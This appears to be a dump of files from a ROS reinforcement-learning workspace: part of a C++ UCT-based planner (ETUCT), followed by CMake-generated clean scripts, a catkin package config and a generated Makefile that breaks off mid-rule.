<< \", \";\n }\n cout << \" and reward: \" << reward << endl;\n }\n\n experience e;\n e.s = laststate;\n e.next = currstate;\n e.act = lastact;\n e.reward = reward;\n e.terminal = term;\n\n if (HISTORY_SIZE > 0){\n if (HISTORYDEBUG) {\n cout << \"Original state vector (size \" << e.s.size() << \": \" << e.s[0];\n for (unsigned i = 1; i < e.s.size(); i++){\n cout << \",\" << e.s[i];\n }\n cout << endl;\n }\n // add history onto e.s\n for (int i = 0; i < HISTORY_FL_SIZE; i++){\n e.s.push_back(saHistory[i]);\n }\n\n if (HISTORYDEBUG) {\n cout << \"New state vector (size \" << e.s.size() << \": \" << e.s[0];\n for (unsigned i = 1; i < e.s.size(); i++){\n cout << \",\" << e.s[i];\n }\n cout << endl;\n }\n\n if (!seedMode){\n // push this state and action onto the history vector\n /*\n for (unsigned i = 0; i < last->size(); i++){\n saHistory.push_back((*last)[i]);\n saHistory.pop_front();\n }\n */\n \n for (int i = 0; i < numactions; i++){\n if (i == lastact)\n saHistory.push_back(1.0);\n else\n saHistory.push_back(0.0);\n saHistory.pop_front();\n }\n \n if (HISTORYDEBUG) {\n cout << \"New history vector (size \" << saHistory.size() << \": \" << saHistory[0];\n for (unsigned i = 1; i < saHistory.size(); i++){\n cout << \",\" << saHistory[i];\n }\n cout << endl;\n }\n }\n }\n\n bool modelChanged = model->updateWithExperience(e);\n\n if (timingType)\n planTime = getSeconds();\n\n return modelChanged;\n\n}\n\nvoid ETUCT::updateStateActionFromModel(state_t s, int a, state_info* info){\n\n if (HISTORY_SIZE == 0){\n\n std::deque<float> history(1,0.0);\n StateActionInfo* newModel = NULL;\n newModel = &(info->historyModel[a][history]);\n\n updateStateActionHistoryFromModel(*s, a, newModel);\n\n }\n\n else {\n\n // fill in for all histories???\n for (std::map< std::deque<float>, StateActionInfo>::iterator it = info->historyModel[a].begin(); it != info->historyModel[a].end(); it++){\n\n std::deque<float> oneHist = (*it).first;\n StateActionInfo* newModel = &((*it).second);\n\n // add history to vector\n std::vector<float> modState = *s;\n for (int i = 0; i < HISTORY_FL_SIZE; i++){\n modState.push_back(oneHist[i]);\n }\n updateStateActionHistoryFromModel(modState, a, newModel);\n }\n\n }\n\n}\n\nvoid ETUCT::updateStateActionHistoryFromModel(const std::vector<float> modState, int a, StateActionInfo *newModel){\n\n // update state info\n // get state action info for each action\n model->getStateActionInfo(modState, a, newModel);\n newModel->frameUpdated = nactions;\n\n //canonNextStates(newModel);\n\n}\n\n\n\nvoid ETUCT::canonNextStates(StateActionInfo* modelInfo){\n\n // loop through all next states\n for (std::map<std::vector<float>, float>::iterator outIt\n = modelInfo->transitionProbs.begin();\n outIt != modelInfo->transitionProbs.end(); outIt++){\n\n std::vector<float> nextstate = (*outIt).first;\n\n // check that it is valid, otherwise replace with current\n bool badState = false;\n for (unsigned j = 0; j < nextstate.size(); j++){\n if (nextstate[j] < (featmin[j]-EPSILON)\n || nextstate[j] > (featmax[j]+EPSILON)){\n //cout << \"next state out of range \" << nextstate[j] << endl;\n badState = true;\n break;\n }\n }\n\n if (!badState){\n canonicalize(nextstate);\n }\n }\n}\n\n\n\n\nint ETUCT::getBestAction(const std::vector<float> &state){\n // if (PLANNERDEBUG) cout << \"getBestAction(s = \" << &state << \")\" << endl;\n\n // resetUCTCounts();\n\n state_t s = canonicalize(state);\n\n int i = 0;\n for (i = 0; i < MAX_ITER; i++){\n\n std::deque<float> searchHistory = saHistory;\n uctSearch(state, s, 0, searchHistory);\n\n // break after some max time\n if ((getSeconds() - planTime) > MAX_TIME){ // && i > 500){\n break;\n }\n\n }\n double currTime = getSeconds();\n if (false || UCTDEBUG){\n cout << \"Search complete after \" << (currTime-planTime) << \" seconds and \"\n << i << \" iterations.\" << endl;\n }\n\n // get state info\n state_info* info = &(statedata[s]);\n\n // Get Q values\n std::vector<float> &Q = info->Q;\n\n // Choose an action\n const std::vector<float>::iterator a =\n random_max_element(Q.begin(), Q.end()); // Choose maximum\n\n int act = a - Q.begin();\n nactions++;\n\n if (false){\n cout << \"State \" << (*s)[0];\n for (unsigned i = 1; i < s->size(); i++){\n cout << \",\" << (*s)[i];\n }\n cout << \", Took action \" << act << \", \"\n << \"value: \" << *a << endl;\n }\n\n // return index of action\n return act;\n}\n\n\n\n\n\n\nvoid ETUCT::planOnNewModel(){\n\n // reset visit counts/q values\n resetUCTCounts();\n\n // for rmax, only s-a's prediction has changed\n if (modelType == RMAX){\n updateStateActionFromModel(prevstate, prevact, previnfo);\n }\n\n // for other model types, it all could change, clear all cached model predictions\n else {\n\n // still update flagged s-a's\n // then less stuff to query while planning\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n state_t s = canonicalize(*i);\n state_info* info = &(statedata[s]);\n if (info->needsUpdate){\n for (int j = 0; j < numactions; j++){\n updateStateActionFromModel(s, j, info);\n }\n info->needsUpdate = false;\n }\n }\n lastUpdate = nactions;\n }\n\n}\n\n\nvoid ETUCT::resetUCTCounts(){\n // if (PLANNERDEBUG) cout << \"Reset UCT Counts\" << endl;\n const int MIN_VISITS = 10;\n\n // loop through here\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n state_t s = canonicalize(*i);\n\n state_info* info = &(statedata[s]);\n\n if (info->uctVisits > (MIN_VISITS * numactions))\n info->uctVisits = MIN_VISITS * numactions;\n\n for (int j = 0; j < numactions; j++){\n if (info->uctActions[j] > MIN_VISITS)\n info->uctActions[j] = MIN_VISITS;\n }\n\n }\n\n}\n\n\n\n\n////////////////////////////\n// Helper Functions //\n////////////////////////////\n\nETUCT::state_t ETUCT::canonicalize(const std::vector<float> &s) {\n //if (PLANNERDEBUG) cout << \"canonicalize(s = \" << s[0] << \", \"\n // << s[1] << \")\" << endl;\n\n // discretize it\n std::vector<float> s2;\n if (statesPerDim[0] > 0){\n s2 = discretizeState(s);\n } else {\n s2 = s;\n }\n\n // get state_t for pointer if its in statespace\n const std::pair<std::set<std::vector<float> >::iterator, bool> result =\n statespace.insert(s2);\n state_t retval = &*result.first; // Dereference iterator then get pointer\n\n //if (PLANNERDEBUG) cout << \" returns \" << retval\n // << \" New: \" << result.second << endl;\n\n // if not, init this new state\n if (result.second) { // s is new, so initialize Q(s,a) for all a\n initNewState(retval);\n if (PLANNERDEBUG) {\n cout << \" New state initialized \"\n << \" orig:(\" << s[0] << \",\" << s[1] << \")\"\n << \" disc:(\" << s2[0] << \",\" << s2[1] << \")\" << endl;\n }\n }\n\n\n return retval;\n}\n\n\n// init state info\nvoid ETUCT::initStateInfo(state_t s, state_info* info){\n //if (PLANNERDEBUG) cout << \"initStateInfo()\";\n\n info->id = nstates++;\n if (PLANNERDEBUG){\n cout << \" id = \" << info->id;\n cout << \", (\" << (*s)[0] << \",\" << (*s)[1] << \")\" << endl;\n }\n\n info->historyModel = new std::map< std::deque<float>, StateActionInfo>[numactions];\n\n // model q values, visit counts\n info->Q.resize(numactions, 0);\n info->uctActions.resize(numactions, 1);\n info->uctVisits = 1;\n info->visited = 0; //false;\n info->needsUpdate = true;\n\n for (int i = 0; i < numactions; i++){\n info->Q[i] = rng.uniform(0,0.01);\n }\n\n //if (PLANNERDEBUG) cout << \"done with initStateInfo()\" << endl;\n\n}\n\n\nvoid ETUCT::printStates(){\n\n for (std::set< std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n state_t s = canonicalize(*i);\n\n state_info* info = &(statedata[s]);\n\n cout << \"State \" << info->id << \": \";\n for (unsigned j = 0; j < s->size(); j++){\n cout << (*s)[j] << \", \";\n }\n cout << endl;\n\n for (int act = 0; act < numactions; act++){\n cout << \" Q: \" << info->Q[act] << endl;\n }\n\n }\n}\n\n\nvoid ETUCT::deleteInfo(state_info* info){\n\n delete [] info->historyModel;\n\n}\n\n\n\ndouble ETUCT::getSeconds(){\n struct timezone tz;\n timeval timeT;\n gettimeofday(&timeT, &tz);\n return timeT.tv_sec + (timeT.tv_usec / 1000000.0);\n}\n\n\nfloat ETUCT::uctSearch(const std::vector<float> &actS, state_t discS, int depth,std::deque<float> searchHistory){\n if (UCTDEBUG){\n cout << \" uctSearch state \";\n for (unsigned i = 0; i < actS.size(); i++){\n cout << actS[i] << \", \";\n }\n cout << \" at depth \" << depth << endl;\n }\n\n state_info* info = &(statedata[discS]);\n\n // if max depth\n // iterative deepening (probability inversely proportional to visits)\n //float terminateProb = 1.0/(2.0+(float)info->uctVisits);\n\n // already visited, stop here\n if (depth > MAX_DEPTH){\n // return max q value here\n std::vector<float>::iterator maxAct =\n std::max_element(info->Q.begin(),\n info->Q.end());\n float maxval = *maxAct;\n\n if (UCTDEBUG)\n cout << \"Terminated after depth: \" << depth\n // << \" prob: \" << terminateProb\n << \" Q: \" << maxval\n << \" visited: \" << info->visited << endl;\n\n return maxval;\n }\n\n // select action\n int action = selectUCTAction(info);\n\n // simulate action to get next state and reward\n // depending on exploration, may also terminate us\n float reward = 0;\n bool term = false;\n\n float learnRate;\n //float learnRate = 0.001;\n //float learnRate = 1.0 / info->uctActions[action];\n // learnRate = 10.0 / (info->uctActions[action] + 100.0);\n learnRate = 10.0 / (info->uctActions[action] + 10.0);\n //if (learnRate < 0.001 && MAX_TIME < 0.5)\n //learnRate = 0.001;\n //learnRate = 0.05;\n //learnRate = 1.0;\n\n // tell model learning thread to update this state since we've visited it\n info->needsUpdate = true;\n\n // simulate next state, reward, terminal\n std::vector<float> actualNext = simulateNextState(actS, discS, info, searchHistory, action, &reward, &term);\n\n // simulate reward from this action\n if (term){\n // this one terminated\n if (UCTDEBUG) cout << \" Terminated on exploration condition\" << endl;\n info->Q[action] += learnRate * (reward - info->Q[action]);\n info->uctVisits++;\n info->uctActions[action]++;\n if (UCTDEBUG)\n cout << \" Depth: \" << depth << \" Selected action \" << action\n << \" r: \" << reward\n << \" StateVisits: \" << info->uctVisits\n << \" ActionVisits: \" << info->uctActions[action] << endl;\n\n return reward;\n }\n\n // get discretized version of next\n state_t discNext = canonicalize(actualNext);\n\n if (UCTDEBUG)\n cout << \" Depth: \" << depth << \" Selected action \" << action\n << \" r: \" << reward << endl;\n\n info->visited++; // = true;\n\n if (HISTORY_SIZE > 0){\n // update history vector for this state\n /*\n for (unsigned i = 0; i < (*discS).size(); i++){\n searchHistory.push_back((*discS)[i]);\n searchHistory.pop_front();\n }\n */\n for (int i = 0; i < numactions; i++){\n if (i == action)\n searchHistory.push_back(1.0);\n else\n searchHistory.push_back(0.0);\n searchHistory.pop_front();\n }\n \n if (HISTORYDEBUG) {\n cout << \"New planning history vector (size \" << searchHistory.size() << \": \" << searchHistory[0];\n for (unsigned i = 1; i < searchHistory.size(); i++){\n cout << \",\" << searchHistory[i];\n }\n cout << endl;\n }\n }\n\n\n // new q value\n float newQ = reward + gamma * uctSearch(actualNext, discNext, depth+1, searchHistory);\n\n if (info->visited == 1){\n\n // update q and visit counts\n info->Q[action] += learnRate * (newQ - info->Q[action]);\n info->uctVisits++;\n info->uctActions[action]++;\n\n if (UCTDEBUG)\n cout << \" Depth: \" << depth << \" newQ: \" << newQ\n << \" StateVisits: \" << info->uctVisits\n << \" ActionVisits: \" << info->uctActions[action] << endl;\n\n if (lambda < 1.0){\n\n // new idea, return max of Q or new q\n std::vector<float>::iterator maxAct =\n std::max_element(info->Q.begin(),\n info->Q.end());\n float maxval = *maxAct;\n\n if (UCTDEBUG)\n cout << \" Replacing newQ: \" << newQ;\n\n // replace with w avg of maxq and new val\n newQ = (lambda * newQ) + ((1.0-lambda) * maxval);\n\n if (UCTDEBUG)\n cout << \" with wAvg: \" << newQ << endl;\n }\n\n }\n\n info->visited--;\n\n // return q\n return newQ;\n\n}\n\n\nint ETUCT::selectUCTAction(state_info* info){\n // if (UCTDEBUG) cout << \" selectUCTAction\" << endl;\n\n std::vector<float> &Q = info->Q;\n\n // loop through\n float rewardBound = rrange;\n if (rewardBound < 1.0)\n rewardBound = 1.0;\n rewardBound /= (1.0 - gamma);\n if (UCTDEBUG) cout << \"Reward bound: \" << rewardBound << endl;\n\n std::vector<float> uctQ(numactions, 0.0);\n\n for (int i = 0; i < numactions; i++){\n\n // this actions value is Q + rMax * 2 sqrt (log N(s) / N(s,a))\n uctQ[i] = Q[i] +\n rewardBound * 2.0 * sqrt(log((float)info->uctVisits) /\n (float)info->uctActions[i]);\n\n if (UCTDEBUG)\n cout << \" Action: \" << i << \" Q: \" << Q[i]\n << \" visits: \" << info->uctActions[i]\n << \" value: \" << uctQ[i] << endl;\n }\n\n // max element of uctQ\n std::vector<float>::iterator maxAct =\n max_element(uctQ.begin(), uctQ.end());\n float maxval = *maxAct;\n int act = maxAct - uctQ.begin();\n\n if (UCTDEBUG)\n cout << \" Selected \" << act << \" val: \" << maxval << endl;\n\n return act;\n\n}\n\n\n\nstd::vector<float> ETUCT::simulateNextState(const std::vector<float> &actualState, state_t discState, state_info* info, const std::deque<float> &history, int action, float* reward, bool* term){\n\n StateActionInfo* modelInfo = &(info->historyModel[action][history]);\n bool upToDate = modelInfo->frameUpdated >= lastUpdate;\n\n if (!upToDate){\n // must put in appropriate history\n if (HISTORY_SIZE > 0){\n std::vector<float> modState = *discState;\n for (int i = 0; i < HISTORY_FL_SIZE; i++){\n modState.push_back(history[i]);\n }\n updateStateActionHistoryFromModel(modState, action, modelInfo);\n } else {\n updateStateActionHistoryFromModel(*discState, action, modelInfo);\n }\n }\n\n\n *reward = modelInfo->reward;\n *term = (rng.uniform() < modelInfo->termProb);\n\n if (*term){\n return actualState;\n }\n\n float randProb = rng.uniform();\n\n float probSum = 0.0;\n std::vector<float> nextstate;\n\n if (REALSTATEDEBUG) cout << \"randProb: \" << randProb << \" numNext: \" << modelInfo->transitionProbs.size() << endl;\n\n if (modelInfo->transitionProbs.size() == 0)\n nextstate = actualState;\n\n for (std::map<std::vector<float>, float>::iterator outIt\n = modelInfo->transitionProbs.begin();\n outIt != modelInfo->transitionProbs.end(); outIt++){\n\n float prob = (*outIt).second;\n probSum += prob;\n if (REALSTATEDEBUG) cout << randProb << \", \" << probSum << \", \" << prob << endl;\n\n if (randProb <= probSum){\n nextstate = (*outIt).first;\n if (REALSTATEDEBUG) cout << \"selected state \" << randProb << \", \" << probSum << \", \" << prob << endl;\n break;\n }\n }\n\n if (trackActual){\n\n\n // find the relative change from discrete center\n std::vector<float> relChange = subVec(nextstate, *discState);\n\n // add that on to actual current state value\n nextstate = addVec(actualState, relChange);\n\n\n }\n\n // check that next state is valid\n for (unsigned j = 0; j < nextstate.size(); j++){\n if (nextstate[j] < (featmin[j]-EPSILON)\n || nextstate[j] > (featmax[j]+EPSILON)){\n return actualState;\n }\n }\n\n if (UCTDEBUG) cout << \"predicted next state: \" << nextstate[0] << \", \" << nextstate[1] << endl;\n\n // return new actual state\n return nextstate;\n\n}\n\n\nvoid ETUCT::savePolicy(const char* filename){\n\n ofstream policyFile(filename, ios::out | ios::binary | ios::trunc);\n\n // first part, save the vector size\n int fsize = featmin.size();\n policyFile.write((char*)&fsize, sizeof(int));\n\n // save numactions\n policyFile.write((char*)&numactions, sizeof(int));\n\n // go through all states, and save Q values\n for (std::set< std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n state_t s = canonicalize(*i);\n state_info* info = &(statedata[s]);\n\n // save state\n policyFile.write((char*)&((*i)[0]), sizeof(float)*fsize);\n\n // save q-values\n policyFile.write((char*)&(info->Q[0]), sizeof(float)*numactions);\n\n }\n\n policyFile.close();\n}\n\nvoid ETUCT::logValues(ofstream *of, int xmin, int xmax, int ymin, int ymax){\n std::vector<float> state(2, 0.0);\n for (int i = xmin ; i < xmax; i++){\n for (int j = ymin; j < ymax; j++){\n state[0] = j;\n state[1] = i;\n state_t s = canonicalize(state);\n state_info* info = &(statedata[s]);\n std::vector<float> &Q_s = info->Q;\n const std::vector<float>::iterator max =\n random_max_element(Q_s.begin(), Q_s.end());\n *of << (*max) << \",\";\n }\n }\n}\n\n\n// should do it such that an already discretized state stays the same\n// mainly the numerical value of each bin should be the average of that bin\nstd::vector<float> ETUCT::discretizeState(const std::vector<float> &s){\n std::vector<float> ds(s.size());\n\n for (unsigned i = 0; i < s.size(); i++){\n\n // since i'm sometimes doing this for discrete domains\n // want to center bins on 0, not edge on 0\n //cout << \"feat \" << i << \" range: \" << featmax[i] << \" \" << featmin[i] << \" \" << (featmax[i]-featmin[i]) << \" n: \" << (float)statesPerDim;\n\n float factor = (featmax[i] - featmin[i]) / (float)statesPerDim[i];\n int bin = 0;\n if (s[i] > 0){\n bin = (int)((s[i]+factor/2) / factor);\n } else {\n bin = (int)((s[i]-factor/2) / factor);\n }\n\n ds[i] = factor*bin;\n //cout << \"P factor: \" << factor << \" bin: \" << bin;\n //cout << \" Original: \" << s[i] << \" Discrete: \" << ds[i] << endl;\n }\n\n return ds;\n}\n\nstd::vector<float> ETUCT::addVec(const std::vector<float> &a, const std::vector<float> &b){\n if (a.size() != b.size())\n cout << \"ERROR: add vector sizes wrong \" << a.size() << \", \" << b.size() << endl;\n\n std::vector<float> c(a.size(), 0.0);\n for (unsigned i = 0; i < a.size(); i++){\n c[i] = a[i] + b[i];\n }\n\n return c;\n}\n\nstd::vector<float> ETUCT::subVec(const std::vector<float> &a, const std::vector<float> &b){\n if (a.size() != b.size())\n cout << \"ERROR: sub vector sizes wrong \" << a.size() << \", \" << b.size() << endl;\n\n std::vector<float> c(a.size(), 0.0);\n for (unsigned i = 0; i < a.size(); i++){\n c[i] = a[i] - b[i];\n }\n\n return c;\n}\n\n\nvoid ETUCT::setFirst(){\n if (HISTORY_SIZE == 0) return;\n\n if (HISTORYDEBUG) cout << \"first action, set sahistory to 0s\" << endl;\n\n // first action, reset history vector\n saHistory.resize(saHistory.size(), 0.0);\n}\n\nvoid ETUCT::setSeeding(bool seeding){\n\n if (HISTORYDEBUG) cout << \"set seed mode to \" << seeding << endl;\n seedMode = seeding;\n\n}\n" }, { "alpha_fraction": 0.7522464990615845, "alphanum_fraction": 0.767650842666626, "avg_line_length": 54.64285659790039, "blob_id": "876afa41348cf3c7f479b79912dfa3103b5cbfa5", "content_id": "3a54eb1fee30fa1563c96ce8b2d321c5f8185f03", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 779, "license_type": "no_license", "max_line_length": 95, "num_lines": 14, "path": "/build/rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_py.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/rl_msgs_generate_messages_py\"\n \"/home/justin/ros_test/devel/lib/python2.7/dist-packages/rl_msgs/msg/_RLEnvSeedExperience.py\"\n \"/home/justin/ros_test/devel/lib/python2.7/dist-packages/rl_msgs/msg/_RLExperimentInfo.py\"\n \"/home/justin/ros_test/devel/lib/python2.7/dist-packages/rl_msgs/msg/_RLEnvDescription.py\"\n \"/home/justin/ros_test/devel/lib/python2.7/dist-packages/rl_msgs/msg/_RLStateReward.py\"\n \"/home/justin/ros_test/devel/lib/python2.7/dist-packages/rl_msgs/msg/_RLAction.py\"\n \"/home/justin/ros_test/devel/lib/python2.7/dist-packages/rl_msgs/msg/__init__.py\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang )\n include(CMakeFiles/rl_msgs_generate_messages_py.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.7815789580345154, "alphanum_fraction": 0.7815789580345154, "avg_line_length": 37, "blob_id": "e17b4611513d7b68af5a728ee80c4c04a645bfff", "content_id": "4c9283e8c36c9036fa5d0865fe5d714a2a2c44ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 380, "license_type": "no_license", "max_line_length": 80, "num_lines": 10, "path": "/build/ugv_course_gazebo_plugins/CMakeFiles/view_control_plugin.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/view_control_plugin.dir/src/ViewControlPlugin.cpp.o\"\n \"/home/justin/ros_test/devel/lib/libview_control_plugin.pdb\"\n \"/home/justin/ros_test/devel/lib/libview_control_plugin.so\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/view_control_plugin.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.7394366264343262, "alphanum_fraction": 0.7746478915214539, "avg_line_length": 34.5625, "blob_id": "1a07ee75d773492bfd674a42399be116abe0c540", "content_id": "962f2507748f03c19accfc2dde9d147b9bb82fac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 568, "license_type": "no_license", "max_line_length": 44, "num_lines": 16, "path": "/build/homework3/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"homework3\")\nset(homework3_VERSION \"0.0.0\")\nset(homework3_MAINTAINER \"abc <[email protected]>\")\nset(homework3_PACKAGE_FORMAT \"1\")\nset(homework3_BUILD_DEPENDS \"roscpp\")\nset(homework3_BUILD_EXPORT_DEPENDS \"roscpp\")\nset(homework3_BUILDTOOL_DEPENDS \"catkin\")\nset(homework3_BUILDTOOL_EXPORT_DEPENDS )\nset(homework3_EXEC_DEPENDS \"roscpp\")\nset(homework3_RUN_DEPENDS \"roscpp\")\nset(homework3_TEST_DEPENDS )\nset(homework3_DOC_DEPENDS )\nset(homework3_URL_WEBSITE \"\")\nset(homework3_URL_BUGTRACKER \"\")\nset(homework3_URL_REPOSITORY \"\")\nset(homework3_DEPRECATED \"\")" }, { "alpha_fraction": 0.7501783967018127, "alphanum_fraction": 0.7541778087615967, "avg_line_length": 40.853763580322266, "blob_id": "d8d0483bf1357cc07b3c258b904e00408a6ddbee", "content_id": "39cacc49dc07327bf2a55ebde594e95da622dc52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 67260, "license_type": "no_license", "max_line_length": 222, "num_lines": 1607, "path": "/build/rl-texplore-ros-pkg-master/src/rl_agent/Makefile", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# CMAKE generated file: DO NOT EDIT!\n# Generated by \"Unix Makefiles\" Generator, CMake Version 3.10\n\n# Default target executed when no arguments are given to make.\ndefault_target: all\n\n.PHONY : default_target\n\n# Allow only one \"make -f Makefile2\" at a time, but pass parallelism.\n.NOTPARALLEL:\n\n\n#=============================================================================\n# Special targets provided by cmake.\n\n# Disable implicit rules so canonical targets will work.\n.SUFFIXES:\n\n\n# Remove some rules from gmake that .SUFFIXES does not remove.\nSUFFIXES =\n\n.SUFFIXES: .hpux_make_needs_suffix_list\n\n\n# Suppress display of executed commands.\n$(VERBOSE).SILENT:\n\n\n# A target that is always out of date.\ncmake_force:\n\n.PHONY : cmake_force\n\n#=============================================================================\n# Set environment variables for the build.\n\n# The shell in which to execute make rules.\nSHELL = /bin/sh\n\n# The CMake executable.\nCMAKE_COMMAND = /usr/bin/cmake\n\n# The command to remove a file.\nRM = /usr/bin/cmake -E remove -f\n\n# Escaping for special characters.\nEQUALS = =\n\n# The top-level source directory on which CMake was run.\nCMAKE_SOURCE_DIR = /home/justin/ros_test/src\n\n# The top-level build directory on which CMake was run.\nCMAKE_BINARY_DIR = /home/justin/ros_test/build\n\n#=============================================================================\n# Targets provided globally by CMake.\n\n# Special rule for the target install/strip\ninstall/strip: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip\n\n# Special rule for the target install/strip\ninstall/strip/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip/fast\n\n# Special rule for the target install\ninstall: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install\n\n# Special rule for the target install\ninstall/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install/fast\n\n# Special rule for the target install/local\ninstall/local: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local\n\n# Special rule for the target install/local\ninstall/local/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local/fast\n\n# Special rule for the target test\ntest:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running tests...\"\n\t/usr/bin/ctest --force-new-ctest-process $(ARGS)\n.PHONY : test\n\n# Special rule for the target test\ntest/fast: test\n\n.PHONY : test/fast\n\n# Special rule for the target list_install_components\nlist_install_components:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Available install components are: \\\"Unspecified\\\"\"\n.PHONY : list_install_components\n\n# Special rule for the target list_install_components\nlist_install_components/fast: list_install_components\n\n.PHONY : list_install_components/fast\n\n# Special rule for the target edit_cache\nedit_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"No interactive CMake dialog available...\"\n\t/usr/bin/cmake -E echo No\\ interactive\\ CMake\\ dialog\\ available.\n.PHONY : edit_cache\n\n# Special rule for the target edit_cache\nedit_cache/fast: edit_cache\n\n.PHONY : edit_cache/fast\n\n# Special rule for the target rebuild_cache\nrebuild_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running CMake to regenerate build system...\"\n\t/usr/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR)\n.PHONY : rebuild_cache\n\n# Special rule for the target rebuild_cache\nrebuild_cache/fast: rebuild_cache\n\n.PHONY : rebuild_cache/fast\n\n# The main all target\nall: cmake_check_build_system\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles /home/justin/ros_test/build/rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/progress.marks\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_agent/all\n\t$(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles 0\n.PHONY : all\n\n# The main clean target\nclean:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_agent/clean\n.PHONY : clean\n\n# The main clean target\nclean/fast: clean\n\n.PHONY : clean/fast\n\n# Prepare targets for installation.\npreinstall: all\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_agent/preinstall\n.PHONY : preinstall\n\n# Prepare targets for installation.\npreinstall/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_agent/preinstall\n.PHONY : preinstall/fast\n\n# clear depends\ndepend:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1\n.PHONY : depend\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agent.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agent.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agent.dir/rule\n\n# Convenience name for target.\nagent: rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agent.dir/rule\n\n.PHONY : agent\n\n# fast build rule for target.\nagent/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agent.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agent.dir/build\n.PHONY : agent/fast\n\n# Convenience name for target.\nrl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/rule\n.PHONY : rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/rule\n\n# Convenience name for target.\nagentlib: rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/rule\n\n.PHONY : agentlib\n\n# fast build rule for target.\nagentlib/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build.make rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agentlib.dir/build\n.PHONY : agentlib/fast\n\nsrc/Agent/DiscretizationAgent.o: src/Agent/DiscretizationAgent.cc.o\n\n.PHONY : 